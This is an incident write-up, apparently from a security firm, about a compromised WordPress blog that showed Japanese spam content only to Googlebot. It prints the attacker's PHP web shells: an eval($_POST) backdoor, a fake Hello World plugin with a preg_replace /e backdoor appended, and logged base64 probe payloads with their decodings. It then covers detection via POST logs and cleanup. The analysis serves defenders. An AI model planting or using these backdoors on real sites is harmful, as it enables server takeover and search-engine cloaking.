Can you be really sure that all visitors of your site see it the same way as you do – design and content? In the era, when content matters more and more, one type of hacker attacks became particularly popular – content spoofing. You will find out the algorithms and tools that hackers use to perform such attacks, specifically replacing website’s content for particular visitors.
Discovery story
A client has come with the trouble that the blog of their site is shown in Japanese within Google Search:
Googlebot rendered the client’s site content the following way:
At the same time, the website’s design and content in a web browser was absolutely normal.
Infected and strange files
Since the problem happened on blog pages, we started digging there. The website used WordPress – so we checked all files in the blog’s root folder. Eventually we detected an extremely big wp-blog-header.php
(average file size of wp-blog-header.php
is about 300 bytes). There we detected a strange code:
This infected wp-blog-header.php
can be downloaded here.
Having deleted extra lines from wp-blog-header.php
, all the files were scanned by an antivirus and no malicious software was found. However, looking through the directory another suspicious file was detected wp-admin/49883541.php
, a sign that a backdoor has been found.
<?php @eval($_POST['h6vlxj08']); ?>
The usage of POST for transmitting and executing malicious software code on the server side with the help of eval
function, made us check all POST requests to the site within the last 24 hours. The result was the following:
Besides the previously discovered wp-admin/49883541.php
another unusual PHP file was detected – content/plugins/b5d1bdd6b9e3/index.php
. At first glance, there was nothing strange in it:
<?php /** * @package Hello_World * @version 1.6 */ /* Plugin Name: Hello World Plugin URI: http://wordpress.org/plugins/hello-World/ Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page. Author: Matt Mullenweg Version: 1.6 Author URI: http://ma.tt/ */ function hello_world_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong We feel the room swayin' While the band's playin' One of your old favourite songs from way back when So, take her wrap, fellas Find her an empty lap, fellas Dolly'll never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong We feel the room swayin' While the band's playin' One of your old favourite songs from way back when Golly, gee, fellas Find her a vacant knee, fellas Dolly'll never go away Dolly'll never go away Dolly'll never go away again"; // Here we split it into lines $lyrics = explode( "\n", $lyrics ); // And then randomly choose a line return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); } // This just echoes the chosen line, we'll position it later function hello_dolly() { $chosen = hello_world_get_lyric(); echo "<p id='dolly'>$chosen</p>"; } // Now we set that function up to execute when the admin_notices action is called //add_action( 'admin_notices', 'hello_dolly' ); // We need some CSS to position the paragraph function dolly_css() { // This makes sure that the positioning is also good for right-to-left languages $x = is_rtl() ? 'left' : 'right'; echo " <style type='text/css'> #dolly { float: $x; padding-$x: 15px; padding-top: 5px; margin: 0; font-size: 11px; } </style> "; } //add_action( 'admin_head', 'dolly_css' ); ?> <?php @preg_replace("/[pageerror]/e",$_POST['pass'],"saft"); ?>
We have changed the server credentials. Having confirmed that the Googlebot and users see the site in browser the same way, we could say that the issue was eliminated. Still there was a need of some monitoring to be done for the possible hacker attack recurrence. And for every infected file that had been previously found, we placed stubs to log any requests to these files.
Log file of queries to wp-admin/49883541.php
:
POST data: Array ( [h6vlxj08] => @eval(base64_decode($_POST[z0])); [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztlY2hvICdTdWNjZXNzJzs7ZWNobygifDwtIik7ZGllKCk7 ) GET data: Array ( )
The following code was assigned to $_POST[z0]
>:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; echo 'Success';; echo("|<-"); die();
If the PHP code above was executed then the results would be the following:
->|Success|<-
Numerour POST queries to wp-content/plugins/b5d1bdd6b9e3/index.php
have been detected:
Array ( [pass] => @eval(base64_decode($_POST[z0])); [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs= )
This PHP code was assigned to $_POST[z0]
:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $rootdir = ''; $filePath=$rootdir.'/index.php'; echo file_get_contents($filePath);; echo("|<-"); die();
The execution of which returned:
->||<-
We got the same result when we ran:
@preg_replace("/[pageerror]/e", $_POST['pass'], "saft");
So, the code above:
- ran scenarios of
@eval(base64_decode($_POST[z0]))
; - the resulting
->||<-
string used as a second parameter in thepreg_replace
:
@preg_replace("/[pageerror]/e", '->||<-',"saft");
In this case, hackers infected wp-blog-header.php
with @preg_replace("/[pageerror]/e", $_POST['pass'], "saft")
from the wp-content/plugins/b5d1bdd6b9e3/index.php
.
The attack algorithm
1. Send a POST-query
Array ( [pass] => @eval(base64_decode($_POST[z0])); [z0] => QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcm9vdGRpciA9ICcnOyRmaWxlUGF0aD0kcm9vdGRpci4nL2luZGV4LnBocCc7ZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOztlY2hvKCJ8PC0iKTtkaWUoKTs= )
to wp-content/plugins/b5d1bdd6b9e3/index.php
.
2. If the answer is equal to ->||<-
then the hacker sends a special query that will infect the necessary file. Click here to download a special POST query that infected the wp-blog-header.php
:
Injection purpose
The wp-blog-header.php
file was placed in a number of blog pages. So, when the Googlebot rendered a page of the website, the infected wp-blog-header.php
returned incorrect content – content of another website. At the same time, a usual user saw this website properly.
How to detect
First of all, POST queries to the website in the website’s log file should be checked. You should pay special attention to queries to unusual file names and plugins. In this case, all suspicious queries were sent from 69.30.217.26:
69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "GET / HTTP/1.1" 200 822 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" 69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:34 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-content/plugins/b5d1bdd6b9e3/index.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:35 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:36 +0200] "POST /wp-admin/49883541.php HTTP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:37 +0200] "POST /phpinfo.php HTTP/1.1" 404 353 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36" 69.30.217.26 - - [09/Feb/2017:04:22:38 +0200] "POST /?back=t4p4lp64 HTTP/1.1" 200 847 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36"
How to cure?
In this case, credentials to the server were changed and all the detected scripts were removed. The hacker attacks stopped.